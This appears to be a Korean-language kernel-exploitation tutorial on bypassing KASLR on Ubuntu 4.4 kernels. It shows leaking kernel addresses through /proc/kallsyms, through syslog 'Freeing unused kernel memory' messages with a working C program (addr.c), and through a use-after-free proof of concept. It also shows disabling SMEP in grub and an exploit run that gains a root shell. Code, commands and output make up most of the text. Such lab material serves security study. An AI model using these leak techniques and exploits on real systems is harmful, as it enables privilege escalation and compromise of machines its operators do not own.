Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
titleFind the address of the prepare_kernel_cred function in the vmlinux file.
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 
 92759: 00000000f1f7ede6     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 97668: ffffffff810a2890    86 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
lazenca0x0@ubuntu:~$
  • offset값을 계산하기 위해 프로그램 코드 명령어가 저장되어 있는 .text 섹션의 시작 주소가 필요합니다.

    • readelf 명령어를 이용하여 .text 영역의 시작 주소(0xffffffff81000000)를 확인 합니다.

Code Block
titleCheck the base address of the .text area of ​​the vmlinux file.
lazenca0x0@ubuntu:~$ readelf -S /usr/lib/debug/boot/vmlinux-4.4.0-31-generic
There are 76 section headers, starting at offset 0x186adba8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         ffffffff81000000  00200000
       00000000008329c6  0000000000000000  AX       0     0     4096
  [ 2] .rela.text        RELA             0000000000000000  0b236e38
       00000000006133b0  0000000000000018   I      74     1     8
  [ 3] .notes            NOTE             ffffffff818329c8  00a329c8
       0000000000000204  0000000000000000  AX       0     0     4
  [ 4] .rela.notes       RELA             0000000000000000  0b84a1e8
       0000000000000030  0000000000000018   I      74     3     8
  [ 5] __ex_table        PROGBITS         ffffffff81832bd0  00a32bd0
       00000000000020c8  0000000000000000   A       0     0     8
  [ 6] .rela__ex_table   RELA             0000000000000000  0b84a218
       000000000000c4b0  0000000000000018   I      74     5     8
  [ 7] .rodata           PROGBITS         ffffffff81a00000  00c00000
       00000000003700a2  0000000000000000   A       0     0     64
  [ 8] .rela.rodata      RELA             0000000000000000  0b8566c8
       00000000002c7dc8  0000000000000018   I      74     7     8

...

  [73] .shstrtab         STRTAB           0000000000000000  186ad918
       000000000000028f  0000000000000000           0     0     1
  [74] .symtab           SYMTAB           0000000000000000  0add78a0
       00000000002647e0  0000000000000018          75   66628     8
  [75] .strtab           STRTAB           0000000000000000  0b03c080
       00000000001fadb7  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~$ 
  • 이렇게 수집된 정보들을 이용하여 다음과같이 다음과 같이 커널 함수의 offset 값을 얻을 수 있습니다.

    • prepare_kernel_cred 함수의 주소(0xffffffff810a2890) - .text 섹션의 시작 주소(0xffffffff81000000) = 0xa2890

...

  • 공격자는 시스템의 설정에 따라 "/proc/kallsyms" 파일을 통해 커널 함수의 주소를 확인할 수 있습니다.
    • 해당 파일에는 다양한 커널 기능 장치 간의 협력을 보다 쉽게하기 위해 수천 개의 전역 심볼이 기록되어 관리되고 있습니다. 
    • 그리고 02.Debugging kernel and modules - Kernel Address Display Restriction(KADR)에서 설명 했지만, Kernel Address Display Restriction(KADR)이 비활성화 되어 있으면 일반 계정으로도 /proc/kallsyms 파일을 이용하여 심볼의 주소 정보를 확인할 수 있습니다.
  • 다음과 같이 kernel.kptr_restrict 설정값에 설정 값(1)에 의해 일반 계정으로는 "/proc/kallsyms" 파일에서 심볼의 주소 정보를 확인할 수 없습니다.

...

  • KASLR이 적용되어 있고 kernel.kptr_restrict 설정값이 0인 환경에서 "/proc/kallsyms"파일을 이용해 공격해보겠습니다.
  • 우선 테스트를 위해 다음과 같이 커널의 설정을 변경합니다.
    • "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래 명령들을 추가합니다.
      • SMEP 비활성화 : nosmep
      • KASLR 활성화 : kaslr
Code Block
titlesudo vi /etc/default/grub
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep kaslr"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"

# Uncomment to enable BadRAM filtering, modify to suit your needs
# This works with Linux (no patch required) and with any kernel that obtains
# the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
#GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"

# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console

# The resolution used on graphical terminal
# note that you can use only modes which your graphic card supports via VBE
# you can see them in real GRUB with the command `vbeinfo'
#GRUB_GFXMODE=640x480

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
#GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entries
#GRUB_DISABLE_RECOVERY="true"

# Uncomment to get a beep at grub start
#GRUB_INIT_TUNE="480 440 1"

...

Code Block
titleRun "update-grub"
lazenca0x0@ubuntu:~$ sudo update-grub
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.4.0-31-generic
Found initrd image: /boot/initrd.img-4.4.0-31-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done
lazenca0x0@ubuntu:~$ reboot
  • 다음과 같이 취약서이 존재하는 커널 모듈을 등록하고 Exploit code를 실행하면, KASLR이 설정된 환경에서도 root권한을 획득할 수 있습니다.
    • 권한 획득이 가능한 이유는 kernel이유는 kernel.kptr_restrict 설정값이 0이었기 때문에 일반권한으로 실행된 프로그램이 "/proc/kallsyms" 파일에서 exploit에 필요한 커널 함수의 주소 정보를 확인할 수 있었기 때문입니다.
Code Block
titleGet root!
lazenca0x0@ubuntu:~/Exploit/ss$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Exploit/ss$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Exploit/ss$ ./exploit
commit_creds address is :0xffffffff9f0a24a0
prepare_kernel_cred address is :0xffffffff9f0a2890
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

f7 ce 78 4c 00 00 00 00 a0 2c 6c 00 00 00 00 00  | ��xL�,l
# id
uid=0(root) gid=0(root) groups=0(root)
#

Address leak of the kernel using Syslog.

  • Ubuntu trusty 4.4.0-* 와 Ubuntu xenial 4-8-0-* 커널들의 경우 Syslog를 통해 Kernel 메모리 주소를 확인 할 수 있습니다.

    • 커널에는 부팅될 때만 사용하는 함수와 변수들이 있으며, 이러한 함수와 변수는 부팅 이후 커널이 동작하는 동안에는 필요치 않기 때문에 커널의 부팅이 끝날 때 init 쓰레드가 실행되는 과정에서 free_initmem() 함수를 통해 해제됩니다.

    • 이러한 과정에서 다음과 같은 메시지가 출력되며, 해당 메시지에서 커널의 주소를 확인할 수 있습니다.
    • [ 1.003469] Freeing unused kernel memory: 1480K (ffffffff90f42000 - ffffffff910b4000)

Code Block
titleFind the kernel's address in syslog file.
lazenca0x0@ubuntu:~/Exploit$ dmesg |grep "Freeing unused"
[    1.075925] Freeing unused kernel memory: 1480K (ffffffffa9f42000 - ffffffffaa0b4000)
[    1.076181] Freeing unused kernel memory: 1836K (ffff880029835000 - ffff880029a00000)
[    1.076435] Freeing unused kernel memory: 156K (ffff880029dd9000 - ffff880029e00000)
lazenca0x0@ubuntu:~/Exploit$ 
  • syslog를 통해 얻은 커널의 주소를 활용하기 위해 다음과 같이 offset 값을 알아야합니다.

    • /proc/kallsyms 파일을 이용하여 커널의 기본주소를 확인합니다.

      • prepare_kernel_cred 함수의 주소(0xffffffffa90a2890) - prepare_kernel_cred 함수의 offset 값(0xa2890) = 커널의 기본주소 (0xffffffffa9000000)

      • syslog를 통해 얻은 커널의 주소(0xffffffffaa0b4000) - 커널의 기본주소 (0xffffffffa9000000) = offset 값(0x10b4000)

Code Block
titleCalculate the offset.
lazenca0x0@ubuntu:~/Exploit$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
[sudo] password for lazenca0x0: 
ffffffffa90a2890 T prepare_kernel_cred
ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred
ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred
ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Exploit$ gdb -q
gdb-peda$ p 0xffffffffa90a2890 - 0xa2890
$1 = 0xffffffffa9000000
gdb-peda$ p 0xffffffffaa0b4000 - 0xffffffffa9000000
$2 = 0x10b4000
gdb-peda$
  • 다음과 같이 syslog를 이용하여 커널의 기본 주소를 확인할 수 있습니다.

    • syslog를 통해 얻은 커널의 주소(0xffffffffb30b4000) - offset 값(0x10b4000) = 커널의 기본주소 (0xffffffffb2000000)

Code Block
titleFind the base address of the kernel.
lazenca0x0@ubuntu:~$ dmesg |grep "Freeing unused"
[    1.279612] Freeing unused kernel memory: 1480K (ffffffffb2f42000 - ffffffffb30b4000)
[    1.279850] Freeing unused kernel memory: 1836K (ffff880032835000 - ffff880032a00000)
[    1.280087] Freeing unused kernel memory: 156K (ffff880032dd9000 - ffff880032e00000)
lazenca0x0@ubuntu:~$ gdb -q
gdb-peda$ p 0xffffffffb30b4000 - 0x10b4000
$1 = 0xffffffffb2000000
gdb-peda$
  • 다음과 같이 코드를 작성하여 조금더 쉽게 커널의 기본 주소를 확인 할 수 있습니다.
    • get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
      • klogctl() 함수를 이용하여 커널 로그 버터의 총 크기를 확인합니다.
      • mmap() 함수를 이용하여 커널 로그를 저장할 메모리 영역을 할당합니다.
      • klogctl() 함수를 이용하여 ring buffer에 남아있는 모든 메시지를 읽어서 buffer 영역에 저장합니다.
    • get_kernel_addr() 함수를 이용하여 syslog에서 커널의 주소를 찾고, 해당 주소를 이용하여 커널의 기본주소를 계산하여 리턴합니다.
      • memmem() 함수를 이용하여 커널 로그에서 "Freeing unused kernel memory"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
      • strchr(), strrchr() 함수를 이용하여 커널 기본 주소를 계산할 때 사용할 커널 주소 값의 시작과 끝의 위치 값을 확인합니다.
      • memmem() 함수를 이용하여 substr 영역에서 "ffffffff"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
      • strtoul() 함수를 이용하여 커널 함수의 주소 값만을 문자열에서 숫자로 변환하여, addr 변수에 저장합니다.
Code Block
languagecpp
titleaddr.c
#define _GNU_SOURCE
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <sys/klog.h>
#include <sys/mman.h>
 
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

void get_syslog(char **buffer, int *size){
 
    *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if(*size == -1){
        perror("Error");
    }
 
    int pagesize = getpagesize();
    *size = (*size / pagesize + 1) * pagesize;
    *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
    if (*size == -1) {
        perror("Error");
    }
     
}
 
unsigned long get_kernel_addr (char *buffer, int size){
    const char *needle = "Freeing unused kernel memory";

    char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle));
    if (substr == NULL) {
        printf("%s not found\n", needle);
    }
     
    int start = 0;
    int end = 0;
    start = strchr(substr,'-') - substr;
    end = strrchr(substr,'\n') - substr;
  
    const char *needle2 = "ffffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
            fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
            exit(EXIT_FAILURE);
    }
  
    char *endptr = &substr[16];
    unsigned long addr = strtoul(&substr[0], &endptr, 16);
    addr -= 0x10b4000ul;
  
    return addr;
}
 
void main(){
    char *syslog;
    int size;
 
    get_syslog(&syslog, &size);
    unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size);
    printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr);
}
  • 다음과 같이 프로그램을 통해 간단히 커널의 기본주소를 확인할 수 있습니다.
Code Block
titleFind the base address of the kernel using a program.
lazenca0x0@ubuntu:~/Exploit$ gcc -o addr addr.c
lazenca0x0@ubuntu:~/Exploit$ ./addr
The base address of the kernel is '0xffffffffa9000000'
lazenca0x0@ubuntu:~/Exploit$
  • 하지만 이러한 취약성은 Ubuntu bionic 5.0.0 에서 수정되었습니다.
Code Block
titleThis bug has been fixed.
...
[    2.590928] rtc_cmos 00:01: setting system clock to 2019-09-26 09:46:58 UTC (1569491218)
[    2.702268] Freeing unused kernel image memory: 2456K
[    2.716264] Write protecting the kernel read-only data: 20480k
[    2.717033] Freeing unused kernel image memory: 2008K
[    2.717427] Freeing unused kernel image memory: 1900K
[    2.724026] x86/mm: Checked W+X mappings: passed, no W+X pages found.
...

...

Address leak of the kernel using vulnerability.

  • 다음과 같이 취약성을 통해 Kernel 주소 정보를 얻을 수 있습니다.

  • 커널 모듈을 등록하고 PoC-3 파일을 실행하면, 취약성에 의해 메모리에 저장된 데이터가 출력됩니다.

    • 출력된 데이터 중에서 2번째 줄에 "c0 2c a7 a0 ff ff ff ff"이라는 데이터가 존재합니다

    • 이 데이터를 커널 주소의 형태로 변경하면 0xffffffff87a72cc0이가 되고, 이 값은 커널 영역의 주소입니다.
    • 공격자는 이 주소(0xffffffff87a72cc0)를 이용하여 커널의 기본 주소를 계산할 수 있습니다.

Code Block
titleUse the vulnerability to leak information from memory.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev 
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3
01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00  | T
00 be 00 35 00 88 ff ff c0 2c a7 87 ff ff ff ff  | �5����,������
04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 38 28 cd 38 00 88 ff ff  | 8(�8���
38 28 cd 38 00 88 ff ff 48 28 cd 38 00 88 ff ff  | 8(�8���H(�8���
48 28 cd 38 00 88 ff ff 30 90 8b 39 00 88 ff ff  | H(�8���0��9���
01 00 00 00 00 00 00 00 68 28 cd 38 00 88 ff ff  | h(�8���
68 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  | h(�8���
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00  | 
90 28 cd 38 00 88 ff ff 90 28 cd 38 00 88 ff ff  | �(�8����(�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 00 00 00 00 00 00 b8 28 cd 38 00 88 ff ff  | �(�8���
b8 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  | �(�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
e0 28 cd 38 00 88 ff ff e0 28 cd 38 00 88 ff ff  | �(�8����(�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 00 00 00 00 00 00 08 29 cd 38 00 88 ff ff  | )�8���
08 29 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  |)�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00  | �
00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17  | 
16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00  | ��
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00  | ptm4
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 a0 d2 39 00 88 ff ff  | ��9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 38 2a cd 38 00 88 ff ff  | 8*�8���
38 2a cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  | 8*�8���
50 2a cd 38 00 88 ff ff 50 2a cd 38 00 88 ff ff  | P*�8���P*�8���
e0 ff ff ff 0f 00 00 00 68 2a cd 38 00 88 ff ff  | ����h*�8���
68 2a cd 38 00 88 ff ff 50 96 4e 87 ff ff ff ff  | h*�8���P�N�����
00 c0 36 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff  | �6����\W;���
d0 6b 1f 30 00 88 ff ff d0 6b 1f 30 00 88 ff ff  | �k0����k0���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00  | ����
c0 2a cd 38 00 88 ff ff c0 2a cd 38 00 88 ff ff  | �*�8����*�8���
d0 b6 4e 87 ff ff ff ff 00 12 6d 32 00 88 ff 00  | жN�����m2��
lazenca0x0@ubuntu:~/Exploit/uaf$ 
  • 커널의 기본 주소를 얻기 위해서는 취약성으로 통해 유출된 주소가 커널의 기본주소와 얼마나 떨어져 있는지 offset값을 알아야 합니다.
    • offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
      • prepare_kernel_cred(0xffffffff870a2890) - 커널의 기본주소로 부터 prepare_kernel_cred 함수 까지의 offset(0xa2890) = 0xffffffff87000000
    • 이렇게 알게 된 커널의 기본 주소를 이용하여 유출된 주소가 커널의 기본 주소로 부터 얼마나 떨어져 있는지 알 수 있습니다.
      • 취약성을 통해 유출된 커널의 주소(0xffffffff87a72cc0) - 커널의 기본 주소(0xffffffff87000000) = 0xa72cc0
Code Block
titleCalculate the offset.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff870a2890 T prepare_kernel_cred
ffffffff87d881d0 R __ksymtab_prepare_kernel_cred
ffffffff87da35b0 r __kcrctab_prepare_kernel_cred
ffffffff87db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q
gdb-peda$ p 0xffffffff870a2890 - 0xa2890
$1 = 0xffffffff87000000
gdb-peda$ p 0xffffffff87a72cc0 - 0xffffffff87000000
$2 = 0xa72cc0
gdb-peda$

...